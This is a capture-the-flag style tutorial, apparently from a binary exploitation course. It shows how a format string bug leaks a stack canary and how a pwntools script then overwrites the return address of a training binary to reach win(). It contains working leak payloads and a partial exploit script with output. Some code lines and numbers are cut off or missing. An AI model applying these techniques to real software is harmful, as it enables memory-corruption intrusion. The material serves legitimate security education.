We arrive at the ultimate challenge of canaries: leaking the value ourselves. This often involves exploiting a secondary vulnerability in a binary: the format string. This dangerous vulnerability, caused by a common developer mistake, can lead to the arbitrary reading and writing of data from any location on the stack.
00. This is to ensure that if strings do overflow by accident, it acts as a null-terminator to end the string. This provides a small bit of protection for accidental overflows but makes finding canaries much easier.The format string vulnerability is a vulnerability caused when a program uses printf without correctly ordering the arguments. Correct use of printf first takes a string containing format specifiers, then subsequent arguments filling each format specifier with a type-matched value.
Here is an example of correct printf usage:
1const char* name = "Hello World!";
2printf("name: %s\n", name);name is never printed directly; instead, the %s specifier is used. There are other format specifiers including %d, %x, or %p.
What happens when more specifiers are placed than arguments? Here's an example:
1const char* name = "Hello World!";
2printf("name: (%s) (%s) (%s)\n", name);This prints the following:
./demoname: (Hello World!) (B9�s�) (�����U)printf uses a format string specifier, it requests another parameter to be passed into the function. Depending on the architecture, the binary will then look inside either the next parameter register (x64), or the top of the stack (x86) for that parameter. Sometimes this is gibberish, but if we leak enough data, we can almost always leak something important.We'll also show later that this may allow us to write data to a location of our choice. More on this much later.
The true format string vulnerability arises when printf directly prints our buffer without a format specifier. This code is vulnerable:
1char buffer[40];
2fgets(buffer, 40, stdin);
3printf(buffer);The vulnerability arises when we input format specifiers inside buffer, which will leak values off the stack. Here's an example:
./challYour goal is to modify the return pointer @ 0x7fffaf6322d8to a function called win() in the binary.0x7fffaf6322a0: 0x0000000000000000 0x00000000000000000x7fffaf6322b0: 0x0000000000000000 0x00000000000000000x7fffaf6322c0: 0x0000000000000000 0x24cfcab7f5e387000x7fffaf6322d0: 0x0000000000000001 0x00007ff38d419ca8However, this program has protection. You must notmodify the canary @ 0x7fffaf6322c8 when writing your payload.This time, the canary is not provided. You must leak it.Thankfully, this program has a format string vulnerability youcan leverage!Enter your name: %p.%p.%p.%p.%p.%pHello, 0x7fffaf6320f0.(nil).(nil).(nil).(nil).0x70252e70252e7025, good luckWe see that we're leaking data off the stack! This is the format string vulnerability.
We can make this exploit even more useful by directly deciding what we want to leak. We can use C's %k$x, where k represents the kth argument to print off the stack. Here it is being used properly to demonstrate how it works:
1#include <stdio.h>
2
3int main()
4{
5 int x =We now need to take advantage of this bug. We need to figure out where on the stack the canary lies. Because the canary needs to be near the return pointer to protect against stack smashing, it will always be in the correct direction for us to leak.
We can actually compute where the value is on the stack. Considering our Assembly lessons, we know that in 64-bit architecture, functions utilize registers for the first six parameters and then use the stack starting at the seventh parameter. For a printf statement, the first parameter is the format string, and %1$x is the second parameter. Therefore, the first parameter taken from the stack is %6$x.
Now, we need to determine how far the canary is from where we start writing. This is the same as computing our padding. Based on our disassembly of main(), the overflow happens in this read call:
10x0000000000401729 <+515>: lea rax,[rbp-0x30]
20x000000000040172d <+519>: mov edx,0x48We start writing at rbp-0x30. Now, we must understand how to find a canary. Canaries can be found at the start or end of a function. The start of a function shows this:
10x000000000040152e <+8>: mov rax,QWORD PTR fs:0x28
20x0000000000401537 <+17>: mov QWORD PTR [rbp-0x8],raxThis is loading the canary from the global offset fs:0x28 and placing it on the stack at rbp-0x8. The end of the function shows this:
10x0000000000401797 <+625>: mov rdx,QWORD PTR [rbp-0x8]
20x000000000040179b <+629>: sub rdx,QWORD PTR fsThis is pulling the value at rbp-0x8 (where the canary should be) and comparing it to the global offset. If they're not equal, it calls stack_chk_fail(), which crashes the program.
This tells us the canary is at rbp-0x8. We start writing at rbp-0x30, meaning we write bytes to reach the canary. To compute the format specifier, we need the number of blocks to write to reach the canary. This is (since each block is bytes long).
The stack starts at parameter 6. We add the 5 block distance to reach the canary to yield parameter 11. We can print this one of two ways: using a long hexadecimal (%11$lx) or a pointer (%11$p). Here it is with %11$p:
./challYour goal is to modify the return pointer @ 0x7ffd1ec2a128to a function called win() in the binary.0x7ffd1ec2a0f0: 0x0000000000000000 0x00000000000000000x7ffd1ec2a100: 0x0000000000000000 0x00000000000000000x7ffd1ec2a110: 0x0000000000000000 0x65b26ec0dd683f000x7ffd1ec2a120: 0x0000000000000001 0x00007f10625dbca8However, this program has protection. You must notmodify the canary @ 0x7ffd1ec2a118 when writing your payload.This time, the canary is not provided. You must leak it.Thankfully, this program has a format string vulnerability youcan leverage!Enter your name: %11$pHello, 0x65b26ec0dd683f00, good luckEither way, we get the canary! The canary changes every run, which explains the leaked value being different. The canary does have the 00 byte at the end both times, which helps confirm we were correct.
Writing the payload will be very similar to the last challenge. In this case, I will receive all data before the input, then receive the canary, then send the payload.
This is a good case to use sendlineafter. Let's use this to send the format string:
p.sendlineafter(b'Enter your name: ', b'%11$p')Then, we need to receive the canary. This can be done more than one way.
1# method 1: using recvuntil
2p.recvuntil(b'Hello, ')
3canary = int(p.recv(18).decode(Then, to create the payload!
1payload = b'A' * 40
2payload += p64(canary)
3payload += b'B' * 8
4And just like that, we secure control of the instruction pointer!
python3 solution.py[+] Starting local process './chall': pid 36496[*] canary: 0xb43c8b5e9aa7fb000x7fff662a9b80: 0x4141414141414141 0x41414141414141410x7fff662a9b90: 0x4141414141414141 0x41414141414141410x7fff662a9ba0: 0x4141414141414141 0xb43c8b5e9aa7fb000x7fff662a9bb0: 0x4242424242424242 0x0000000000401510Congrats! You successfully changed execution flow.8